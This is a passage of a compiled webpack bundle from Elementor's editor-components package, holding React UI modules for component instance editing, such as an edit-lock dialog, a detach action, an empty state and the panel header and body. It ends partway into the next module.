/***/ "./packages/packages/core/editor-components/src/components/errors.ts":
/*!***************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/errors.ts ***!
  \***************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   OverrideControlInnerElementNotFoundError: function() { return /* binding */ OverrideControlInnerElementNotFoundError; },
/* harmony export */   OverrideControlPropTypeNotFoundError: function() { return /* binding */ OverrideControlPropTypeNotFoundError; }
/* harmony export */ });
/* harmony import */ var _elementor_utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @elementor/utils */ "@elementor/utils");
/* harmony import */ var _elementor_utils__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_elementor_utils__WEBPACK_IMPORTED_MODULE_0__);

const OverrideControlInnerElementNotFoundError = (0,_elementor_utils__WEBPACK_IMPORTED_MODULE_0__.createError)({
  code: 'override_control_inner_element_not_found',
  message: `Component inner element not found for override control. The element may have been deleted without updating the overridable props, or the component has not finished rendering yet.`
});
const OverrideControlPropTypeNotFoundError = (0,_elementor_utils__WEBPACK_IMPORTED_MODULE_0__.createError)({
  code: 'override_control_prop_type_not_found',
  message: 'Prop type not found for override control.'
});

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/in-edit-mode.tsx":
/*!**********************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/in-edit-mode.tsx ***!
  \**********************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   openEditModeDialog: function() { return /* binding */ openEditModeDialog; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-ui */ "@elementor/editor-ui");
/* harmony import */ var _elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/icons */ "@elementor/icons");
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_icons__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @elementor/ui */ "@elementor/ui");
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__);
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n");
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_4___default = /*#__PURE__*/__webpack_require__.n(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_4__);





const openEditModeDialog = lockedBy => {
  (0,_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__.openDialog)({
    component: /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(EditModeDialog, {
      lockedBy: lockedBy
    })
  });
};
const EditModeDialog = ({
  lockedBy
}) => {
  /* translators: %s is the name of the user who is currently editing the document */
  const content = (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_4__.__)('%s is currently editing this document', 'elementor').replace('%s', lockedBy);
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(react__WEBPACK_IMPORTED_MODULE_0__.Fragment, null, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.DialogHeader, {
    logo: false
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.Box, {
    display: "flex",
    alignItems: "center",
    gap: 1
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.Icon, {
    color: "secondary"
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_icons__WEBPACK_IMPORTED_MODULE_2__.InfoCircleFilledIcon, {
    fontSize: "medium"
  })), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.Typography, {
    variant: "subtitle1"
  }, content))), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.DialogContent, null, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.Stack, {
    spacing: 2,
    direction: "column"
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.Typography, {
    variant: "body2"
  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_4__.__)('You can wait for them to finish or reach out to coordinate your changes together.', 'elementor')), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.DialogActions, null, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_3__.Button, {
    color: "secondary",
    variant: "contained",
    onClick: _elementor_editor_ui__WEBPACK_IMPORTED_MODULE_1__.closeDialog
  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_4__.__)('Close', 'elementor'))))));
};

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/instance-editing-panel/detach-action.tsx":
/*!**********************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/instance-editing-panel/detach-action.tsx ***!
  \**********************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   DetachAction: function() { return /* binding */ DetachAction; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-notifications */ "@elementor/editor-notifications");
/* harmony import */ var _elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/icons */ "@elementor/icons");
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_icons__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n");
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__);
/* harmony import */ var _utils_detach_component_instance__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../../utils/detach-component-instance */ "./packages/packages/core/editor-components/src/utils/detach-component-instance/index.ts");
/* harmony import */ var _detach_instance_confirmation_dialog__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ../detach-instance-confirmation-dialog */ "./packages/packages/core/editor-components/src/components/detach-instance-confirmation-dialog.tsx");
/* harmony import */ var _instance_panel_header__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./instance-panel-header */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/instance-panel-header.tsx");








const DetachAction = ({
  componentInstanceId,
  componentId
}) => {
  const [isDetachDialogOpen, setIsDetachDialogOpen] = (0,react__WEBPACK_IMPORTED_MODULE_0__.useState)(false);
  const handleDetachConfirm = async () => {
    setIsDetachDialogOpen(false);
    try {
      await (0,_utils_detach_component_instance__WEBPACK_IMPORTED_MODULE_4__.detachComponentInstance)({
        instanceId: componentInstanceId,
        componentId,
        trackingInfo: getDetachTrackingInfo()
      });
    } catch {
      (0,_elementor_editor_notifications__WEBPACK_IMPORTED_MODULE_1__.notify)({
        type: 'error',
        message: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Failed to detach component instance.', 'elementor'),
        id: 'detach-component-instance-failed'
      });
    }
  };
  const handleDetachCancel = () => {
    setIsDetachDialogOpen(false);
  };
  const handleDetachClick = () => {
    setIsDetachDialogOpen(true);
  };
  const detachLabel = (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Detach from Component', 'elementor');
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(react__WEBPACK_IMPORTED_MODULE_0__.Fragment, null, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_instance_panel_header__WEBPACK_IMPORTED_MODULE_6__.EditComponentAction, {
    label: detachLabel,
    icon: _elementor_icons__WEBPACK_IMPORTED_MODULE_2__.DetachIcon,
    onClick: handleDetachClick
  }), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_detach_instance_confirmation_dialog__WEBPACK_IMPORTED_MODULE_5__.DetachInstanceConfirmationDialog, {
    open: isDetachDialogOpen,
    onClose: handleDetachCancel,
    onConfirm: handleDetachConfirm
  }));
};
function getDetachTrackingInfo() {
  const extendedWindow = window;
  const config = extendedWindow?.elementorCommon?.eventsManager?.config;
  if (!config) {
    return {
      location: '',
      trigger: ''
    };
  }
  return {
    location: config.locations.components.instanceEditingPanel,
    trigger: config.triggers.click
  };
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/instance-editing-panel/empty-state.tsx":
/*!********************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/instance-editing-panel/empty-state.tsx ***!
  \********************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   EmptyState: function() { return /* binding */ EmptyState; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/icons */ "@elementor/icons");
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_icons__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/ui */ "@elementor/ui");
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n");
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__);
/* harmony import */ var _hooks_use_components_permissions__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../../hooks/use-components-permissions */ "./packages/packages/core/editor-components/src/hooks/use-components-permissions.ts");





const EmptyState = ({
  onEditComponent
}) => {
  const {
    canEdit
  } = (0,_hooks_use_components_permissions__WEBPACK_IMPORTED_MODULE_4__.useComponentsPermissions)();
  const message = canEdit ? (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Edit the component to add properties, manage them or update the design across all instances.', 'elementor') : (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('With your current role, you cannot edit this component. Contact an administrator to add properties.', 'elementor');
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Stack, {
    alignItems: "center",
    justifyContent: "start",
    height: "100%",
    color: "text.secondary",
    sx: {
      p: 2.5,
      pt: 8,
      pb: 5.5,
      mt: 1
    },
    gap: 1.5
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_icons__WEBPACK_IMPORTED_MODULE_1__.ComponentPropListIcon, {
    fontSize: "large"
  }), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Typography, {
    align: "center",
    variant: "subtitle2"
  }, (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('No properties yet', 'elementor')), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Typography, {
    align: "center",
    variant: "caption",
    maxWidth: "170px"
  }, message), canEdit && /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Button, {
    variant: "outlined",
    color: "secondary",
    size: "small",
    sx: {
      mt: 1
    },
    disabled: !onEditComponent,
    onClick: onEditComponent
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_icons__WEBPACK_IMPORTED_MODULE_1__.PencilIcon, {
    fontSize: "small"
  }), (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Edit component', 'elementor')));
};

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/instance-editing-panel/instance-editing-panel.tsx":
/*!*******************************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/instance-editing-panel/instance-editing-panel.tsx ***!
  \*******************************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   InstanceEditingPanel: function() { return /* binding */ InstanceEditingPanel; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/icons */ "@elementor/icons");
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_icons__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/ui */ "@elementor/ui");
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n");
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__);
/* harmony import */ var _hooks_use_components_permissions__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../../hooks/use-components-permissions */ "./packages/packages/core/editor-components/src/hooks/use-components-permissions.ts");
/* harmony import */ var _provider_component_instance_context__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ../../provider/component-instance-context */ "./packages/packages/core/editor-components/src/provider/component-instance-context.tsx");
/* harmony import */ var _utils_is_pro_components_supported__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ../../utils/is-pro-components-supported */ "./packages/packages/core/editor-components/src/utils/is-pro-components-supported.ts");
/* harmony import */ var _components_update_alert__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ../components-update-alert */ "./packages/packages/core/editor-components/src/components/components-update-alert.tsx");
/* harmony import */ var _components_upgrade_alert__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ../components-upgrade-alert */ "./packages/packages/core/editor-components/src/components/components-upgrade-alert.tsx");
/* harmony import */ var _detach_action__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ./detach-action */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/detach-action.tsx");
/* harmony import */ var _empty_state__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! ./empty-state */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/empty-state.tsx");
/* harmony import */ var _instance_panel_body__WEBPACK_IMPORTED_MODULE_11__ = __webpack_require__(/*! ./instance-panel-body */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/instance-panel-body.tsx");
/* harmony import */ var _instance_panel_header__WEBPACK_IMPORTED_MODULE_12__ = __webpack_require__(/*! ./instance-panel-header */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/instance-panel-header.tsx");
/* harmony import */ var _use_instance_panel_data__WEBPACK_IMPORTED_MODULE_13__ = __webpack_require__(/*! ./use-instance-panel-data */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/use-instance-panel-data.ts");














const EDIT_UPGRADE_URL = 'https://go.elementor.com/go-pro-components-Instance-edit-footer/';
function InstanceEditingPanel() {
  const {
    canEdit
  } = (0,_hooks_use_components_permissions__WEBPACK_IMPORTED_MODULE_4__.useComponentsPermissions)();
  const data = (0,_use_instance_panel_data__WEBPACK_IMPORTED_MODULE_13__.useInstancePanelData)();
  if (!data) {
    return null;
  }
  const {
    componentId,
    component,
    overrides,
    overridableProps,
    groups,
    isEmpty,
    componentInstanceId
  } = data;

  /* translators: %s: component name. */
  const panelTitle = (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Edit %s', 'elementor').replace('%s', component.name);
  const actions = /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Stack, {
    direction: "row",
    gap: 0.5
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_detach_action__WEBPACK_IMPORTED_MODULE_9__.DetachAction, {
    componentInstanceId: componentInstanceId,
    componentId: componentId
  }), canEdit && /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_instance_panel_header__WEBPACK_IMPORTED_MODULE_12__.EditComponentAction, {
    disabled: true,
    label: panelTitle,
    icon: _elementor_icons__WEBPACK_IMPORTED_MODULE_1__.PencilIcon
  }));
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_2__.Box, {
    "data-testid": "instance-editing-panel",
    sx: {
      display: 'flex',
      flexDirection: 'column',
      height: '100%'
    }
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_provider_component_instance_context__WEBPACK_IMPORTED_MODULE_5__.ComponentInstanceProvider, {
    componentId: componentId,
    overrides: overrides,
    overridableProps: overridableProps
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_instance_panel_header__WEBPACK_IMPORTED_MODULE_12__.InstancePanelHeader, {
    componentName: component.name,
    actions: actions
  }), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_instance_panel_body__WEBPACK_IMPORTED_MODULE_11__.InstancePanelBody, {
    groups: groups,
    isEmpty: isEmpty,
    emptyState: /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_empty_state__WEBPACK_IMPORTED_MODULE_10__.EmptyState, null),
    componentInstanceId: componentInstanceId
  })), !(0,_utils_is_pro_components_supported__WEBPACK_IMPORTED_MODULE_6__.isProComponentsSupported)() && ((0,_utils_is_pro_components_supported__WEBPACK_IMPORTED_MODULE_6__.isProOutdatedForComponents)() ? /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_components_update_alert__WEBPACK_IMPORTED_MODULE_7__.ComponentsUpdateAlert, {
    title: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Edit Component', 'elementor'),
    description: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('To edit components, update Elementor Pro to the latest version.', 'elementor')
  }) : /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_components_upgrade_alert__WEBPACK_IMPORTED_MODULE_8__.ComponentsUpgradeAlert, {
    title: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Edit components', 'elementor'),
    description: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_3__.__)('Editing components requires an active Pro subscription.', 'elementor'),
    upgradeUrl: EDIT_UPGRADE_URL
  })));
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/instance-editing-panel/instance-panel-body.tsx":
/*!****************************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/instance-editing-panel/instance-panel-body.tsx ***!
  \****************************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   InstancePanelBody: function() { return /* binding */ InstancePanelBody; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_controls__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-controls */ "@elementor/editor-controls");
/* harmony import */ var _elementor_editor_controls__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_controls__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/editor-editing-panel */ "@elementor/editor-editing-panel");
/* harmony import */ var _elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _elementor_editor_panels__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @elementor/editor-panels */ "@elementor/editor-panels");
/* harmony import */ var _elementor_editor_panels__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_panels__WEBPACK_IMPORTED_MODULE_3__);
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! @elementor/ui */ "@elementor/ui");
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_4___default = /*#__PURE__*/__webpack_require__.n(_elementor_ui__WEBPACK_IMPORTED_MODULE_4__);
/* harmony import */ var _override_props_group__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./override-props-group */ "./packages/packages/core/editor-components/src/components/instance-editing-panel/override-props-group.tsx");






function InstancePanelBody({
  groups,
  isEmpty,
  emptyState,
  componentInstanceId
}) {
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_panels__WEBPACK_IMPORTED_MODULE_3__.PanelBody, null, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_controls__WEBPACK_IMPORTED_MODULE_1__.ControlAdornmentsProvider, {
    items: (0,_elementor_editor_editing_panel__WEBPACK_IMPORTED_MODULE_2__.getFieldIndicators)('settings')
  }, isEmpty ? emptyState : /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_4__.Stack, {
    direction: "column",
    alignItems: "stretch"
  }, groups.map(group => /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(react__WEBPACK_IMPORTED_MODULE_0__.Fragment, {
    key: group.id + componentInstanceId
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_override_props_group__WEBPACK_IMPORTED_MODULE_5__.OverridePropsGroup, {
    group: group
  }), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_4__.Divider, null))))));
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/instance-editing-panel/instance-panel-header.tsx":
/*!******************************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/instance-editing-panel/instance-panel-header.tsx ***!
  \******************************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   EditComponentAction: function() { return /* binding */ EditComponentAction; },
/* harmony export */   InstancePanelHeader: function() { return /* binding */ InstancePanelHeader; }
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _elementor_editor_panels__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @elementor/editor-panels */ "@elementor/editor-panels");
/* harmony import */ var _elementor_editor_panels__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_panels__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _elementor_editor_ui__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @elementor/editor-ui */ "@elementor/editor-ui");
/* harmony import */ var _elementor_editor_ui__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @elementor/icons */ "@elementor/icons");
/* harmony import */ var _elementor_icons__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_elementor_icons__WEBPACK_IMPORTED_MODULE_3__);
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! @elementor/ui */ "@elementor/ui");
/* harmony import */ var _elementor_ui__WEBPACK_IMPORTED_MODULE_4___default = /*#__PURE__*/__webpack_require__.n(_elementor_ui__WEBPACK_IMPORTED_MODULE_4__);





function InstancePanelHeader({
  componentName,
  actions
}) {
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_panels__WEBPACK_IMPORTED_MODULE_1__.PanelHeader, {
    sx: {
      justifyContent: 'start',
      px: 2
    }
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_4__.Stack, {
    direction: "row",
    alignItems: "center",
    flexGrow: 1,
    gap: 1,
    maxWidth: "100%"
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_icons__WEBPACK_IMPORTED_MODULE_3__.ComponentsIcon, {
    fontSize: "small",
    sx: {
      color: 'text.tertiary'
    }
  }), /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_editor_ui__WEBPACK_IMPORTED_MODULE_2__.EllipsisWithTooltip, {
    title: componentName,
    as: _elementor_editor_panels__WEBPACK_IMPORTED_MODULE_1__.PanelHeaderTitle,
    sx: {
      flexGrow: 1
    }
  }), actions));
}
function EditComponentAction({
  label,
  onClick,
  disabled = false,
  icon: Icon
}) {
  return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_4__.Tooltip, {
    title: label
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(_elementor_ui__WEBPACK_IMPORTED_MODULE_4__.IconButton, {
    size: "tiny",
    onClick: onClick,
    "aria-label": label,
    disabled: disabled
  }, /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_0__.createElement(Icon, {
    fontSize: "tiny"
  })));
}

/***/ }),

/***/ "./packages/packages/core/editor-components/src/components/instance-editing-panel/override-prop-control.tsx":
/*!******************************************************************************************************************!*\
  !*** ./packages/packages/core/editor-components/src/components/instance-editing-panel/override-prop-control.tsx ***!
  \******************************************************************************************************************/
/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {

